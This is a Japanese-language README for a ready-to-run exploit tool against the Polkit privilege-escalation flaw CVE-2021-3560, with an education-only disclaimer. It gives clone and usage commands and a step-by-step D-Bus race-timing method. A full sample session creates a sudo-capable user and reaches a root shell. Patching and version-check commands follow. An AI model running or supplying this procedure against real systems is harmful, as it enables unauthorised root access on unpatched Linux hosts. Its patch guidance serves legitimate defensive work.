
CVE-2021-3560 Polkit ローカル権限昇格の脆弱性のエクスプロイト
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Linux システム上の PolicyKit (Polkit) に影響を与える CVE-2021-3560 脆弱性の自動エクスプロイトです。
⚠️ 警告: このツールは、管理されたラボ環境での教育およびサイバーセキュリティトレーニング目的のみを意図しています。所有していないシステムでこのエクスプロイトを許可なく使用することは違法です。
CVE-2021-3560 は、PolicyKit (polkit) のローカル競合状態の脆弱性で、権限のないユーザーが脆弱な Linux システム上で root 権限を取得することを可能にします。
この脆弱性は、バージョン番号の異なる2つの Polkit ブランチに影響します。
bfa5036 (バージョン 0.113)f81d021 (バージョン 0.105-26)📝 注意: セキュリティパッチが適用されたシステム (例: ubuntu1.1, deb10u1) は脆弱ではありません。
エクスプロイトには以下のツールが必要です (自動確認):
- dbus-send # D-Bus との通信
- pkexec # PolicyKit の一部
- id # ユーザー作成の確認
- openssl # パスワードハッシュの生成
- accountsservice # インストールされ、アクティブである必要があります
# リポジトリのクローン (またはファイルのダウンロード)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# スクリプトを実行可能に
chmod +x CVE-2021-3560_Polkit.py
システムが脆弱かどうかをエクスプロイトを実行せずに確認:
python3 CVE-2021-3560_Polkit.py --check
出力例:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
特権ユーザーの作成:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
例:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
このエクスプロイトは、D-Bus リクエスト処理中の PolicyKit の競合状態を悪用します。
┌─────────────────────────────────────────────────────────┐
│ 1. 最適なタイミングの測定 │
│ └─> テスト実行によりタイミングを調整 │
├─────────────────────────────────────────────────────────┤
│ 2. エクスプロイト: ユーザー作成 │
│ └─> D-Bus CreateUser リクエストを送信 │
│ └─> 正確なタイミングでプロセスを強制終了 (競合状態) │
│ └─> ユーザーが作成されたか確認 │
├─────────────────────────────────────────────────────────┤
│ 3. パスワードハッシュの生成 │
│ └─> openssl passwd -6 を使用 │
├─────────────────────────────────────────────────────────┤
│ 4. エクスプロイト: パスワード設定 │
│ └─> D-Bus SetPassword リクエストを送信 │
│ └─> 正確なタイミングでプロセスを強制終了 (競合状態) │
│ └─> パスワードでログインテスト │
├─────────────────────────────────────────────────────────┤
│ 5. 権限昇格 │
│ └─> 作成したアカウントでログイン │
│ └─> sudo グループのメンバーなら sudo を使用 │
└─────────────────────────────────────────────────────────┘
# 1. 脆弱性を確認
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. エクスプロイトを起動
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. root を取得
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
PolicyKit の更新:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# または
sudo dnf update polkit
バージョンの確認:
pkexec --version
# アップストリームでは >= 0.119、またはパッチ適用済み
セキュリティパッチの確認:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
このエクスプロイトは競合状態に依存するため、以下のようになります:
以下のバージョンにはセキュリティパッチが含まれており、脆弱ではありません:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3 など (Ubuntu パッチ済み)0.105-26ubuntu2.1, 0.105-26ubuntu2.2 など (Ubuntu パッチ済み)0.105-31+deb11u1 (Debian 11 パッチ済み)polkit-0.115-11.el8_4.1 (RHEL 8 パッチ済み)注意: システムが脆弱として表示されていても、エクスプロイトが PermissionDenied エラーで失敗する場合は、バージョンがパッチされている可能性があります。このエクスプロイトは、これらのパッチ済みバージョンを正しく検出するようになりました。
エクスプロイトが失敗した場合:
Python バージョンを確認 (TypeError: __init__() got an unexpected keyword argument 'capture_output' が表示される場合):
python3 --version
# 3.6 以上である必要があります
# スクリプトは Python 3.6 以上と互換性があります
パッチが適用されているか確認:
pkexec --version
# ubuntu1.X (X > 0) と表示される場合はパッチ適用済み
accountsservice を確認:
systemctl status accounts-daemon
D-Bus を確認:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
ローカルコンソールではなく SSH から起動
コード内の optimal_timing を変更してタイミングを調整
Seimu
このプロジェクトは教育目的のみを意図しています。許可されていない活動にこのコードを使用することは固く禁止されており、法的措置の対象となる可能性があります。
⚠️ 免責事項: 作成者はこのツールの誤用について一切の責任を負いません。許可されたテスト環境でのみ使用してください。
| ディストリビューション | Polkit バージョン | 脆弱性あり? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ はい |
| Ubuntu 18.04 | 0.105-20 | ❌ いいえ |
| Debian testing "bullseye" | 0.105-31+ | ✅ はい |
| Debian 10 "buster" | 0.105-25 | ❌ いいえ |
| RHEL 8 | 0.115-11+ | ✅ はい |
| RHEL 7 | < 0.113 | ❌ いいえ |
| Fedora 21+ | 0.113+ | ✅ はい |
| Fedora 20 以前 | < 0.113 | ❌ いいえ |